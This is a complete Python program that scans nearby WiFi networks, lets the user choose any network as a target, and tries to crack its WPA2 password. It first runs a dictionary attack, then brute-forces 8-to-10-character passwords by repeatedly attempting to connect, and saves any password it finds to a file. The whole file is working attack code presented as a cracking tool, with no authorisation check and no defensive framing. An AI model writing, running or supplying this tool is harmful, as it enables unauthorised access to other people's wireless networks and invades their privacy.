
import time
import itertools
import pywifi
from pywifi import const
from typing import Optional, List, Dict
import json
import os
import sys

class WiFiScanner:
    """WiFi网络扫描器"""
    
    def __init__(self):
        wifi = pywifi.PyWiFi()
        self.iface = wifi.interfaces()[0]
        
    def scan_networks(self) -> List[Dict]:
        """扫描附近WiFi网络"""
        print("\n扫描可用WiFi网络...")
        self.iface.scan()
        time.sleep(5)  # 等待扫描完成
        
        scan_results = self.iface.scan_results()
        networks = []
        
        for i, network in enumerate(scan_results):
            networks.append({
                "index": i + 1,
                "ssid": network.ssid,
                "bssid": network.bssid,
                "signal": network.signal,
                "security": self._get_security_type(network.akm)
            })
            
        return networks
    
    def _get_security_type(self, akm: List) -> str:
        """获取安全类型"""
        if const.AKM_TYPE_WPA2PSK in akm:
            return "WPA2-PSK"
        elif const.AKM_TYPE_WPAPSK in akm:
            return "WPA-PSK"
        elif const.AKM_TYPE_NONE in akm:
            return "Open"
        else:
            return "Unknown"

class WiFiCracker:
    """优化后的WiFi密码破解工具"""
    
    def __init__(self, ssid: str, max_threads: int = 3):
        self.ssid = ssid
        self.max_threads = max_threads
        self.results_file = "wifi_results.json"
        self.running = False
        
        wifi = pywifi.PyWiFi()
        self.iface = wifi.interfaces()[0]
        self.iface.disconnect()
        time.sleep(1)
        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def crack(self, min_length: int = 8, max_length: int = 10, 
              charset: str = '0123456789abcdefghijklmnopqrstuvwxyz',
              dictionary: Optional[List[str]] = None) -> Optional[str]:
        """主破解方法"""
        self.running = True
        found_password = None
        
        try:
            if dictionary:
                found_password = self._try_dictionary(dictionary)
                if found_password:
                    return found_password

            for length in range(min_length, max_length + 1):
                if not self.running:
                    break
                    
                print(f"\n尝试 {length} 位密码...")
                total = len(charset) ** length
                tried = 0
                
                for pwd_tuple in itertools.product(charset, repeat=length):
                    if not self.running:
                        break
                        
                    password = ''.join(pwd_tuple)
                    tried += 1
                    
                    if tried % 1000 == 0:
                        progress = tried / total * 100
                        print(f"进度: {progress:.2f}% | 尝试: {password}")
                    
                    if self._test_connection(password):
                        found_password = password
                        self._save_result(password)
                        self.running = False
                        break
                        
                    time.sleep(0.5)
                    
                if found_password:
                    break
                    
        except Exception as e:
            print(f"发生错误: {str(e)}")
        finally:
            self.iface.disconnect()
            return found_password

    def _try_dictionary(self, dictionary: List[str]) -> Optional[str]:
        """尝试字典攻击"""
        print(f"\n开始字典攻击，共 {len(dictionary)} 个密码...")
        
        for i, password in enumerate(dictionary):
            if not self.running:
                break
                
            if i % 100 == 0:
                print(f"进度: {i}/{len(dictionary)} | 尝试: {password}")
                
            if self._test_connection(password):
                self._save_result(password)
                return password
                
            time.sleep(0.5)
            
        return None

    def _test_connection(self, password: str) -> bool:
        """测试WiFi连接"""
        try:
            profile = pywifi.Profile()
            profile.ssid = self.ssid
            profile.auth = const.AUTH_ALG_OPEN
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            profile.key = password
            
            self.iface.remove_all_network_profiles()
            tmp_profile = self.iface.add_network_profile(profile)
            self.iface.connect(tmp_profile)
            
            time.sleep(3)
            
            if self.iface.status() == const.IFACE_CONNECTED:
                print(f"\n[成功] 密码找到: {password}")
                return True
                
        except Exception as e:
            print(f"连接测试错误: {str(e)}")
            
        return False

    def _save_result(self, password: str):
        """保存结果到文件"""
        result = {
            "ssid": self.ssid,
            "password": password,
            "timestamp": time.strftime("%Y-%m-%d %H:%M:%S")
        }
        
        try:
            with open(self.results_file, 'a') as f:
                f.write(json.dumps(result) + "\n")
        except Exception as e:
            print(f"保存结果失败: {str(e)}")

    def stop(self):
        """停止破解过程"""
        self.running = False
        self.iface.disconnect()

def load_dictionary(file_path: str) -> Optional[List[str]]:
    """从文件加载密码字典"""
    if not os.path.exists(file_path):
        return None
        
    with open(file_path, 'r') as f:
        return [line.strip() for line in f if line.strip()]

def select_network(networks: List[Dict]) -> Optional[str]:
    """交互式选择WiFi网络"""
    print("\n可用WiFi网络列表:")
    print("-" * 60)
    print(f"{'序号':<5}{'SSID':<20}{'信号强度':<10}{'安全类型':<15}")
    print("-" * 60)
    
    for net in networks:
        print(f"{net['index']:<5}{net['ssid']:<20}{net['signal']:<10}{net['security']:<15}")
    
    while True:
        try:
            choice = input("\n请选择要破解的WiFi序号(0退出): ")
            if choice == '0':
                return None
                
            selected = int(choice)
            if 1 <= selected <= len(networks):
                return networks[selected - 1]['ssid']
                
            print("无效选择，请重新输入")
        except ValueError:
            print("请输入有效数字")

def main():
    """主程序入口"""
    print("=== WiFi密码破解工具 ===")
    
    # 扫描网络
    scanner = WiFiScanner()
    networks = scanner.scan_networks()
    
    if not networks:
        print("未发现任何WiFi网络")
        return
    
    # 选择目标网络
    target_ssid = select_network(networks)
    if not target_ssid:
        return
    
    print(f"\n已选择目标网络: {target_ssid}")
    
    # 初始化破解器
    cracker = WiFiCracker(ssid=target_ssid)
    
    try:
        # 可选: 加载字典文件
        dictionary = load_dictionary("passwords.txt")
        
        # 开始破解
        password = cracker.crack(
            min_length=8,
            max_length=10,
            dictionary=dictionary
        )
        
        if password:
            print(f"\n破解成功! WiFi '{target_ssid}' 的密码是: {password}")
        else:
            print("\n破解结束，未找到密码")
            
    except KeyboardInterrupt:
        print("\n用户中断，停止破解...")
        cracker.stop()
    except Exception as e:
        print(f"\n发生错误: {str(e)}")

if __name__ == "__main__":
    main()
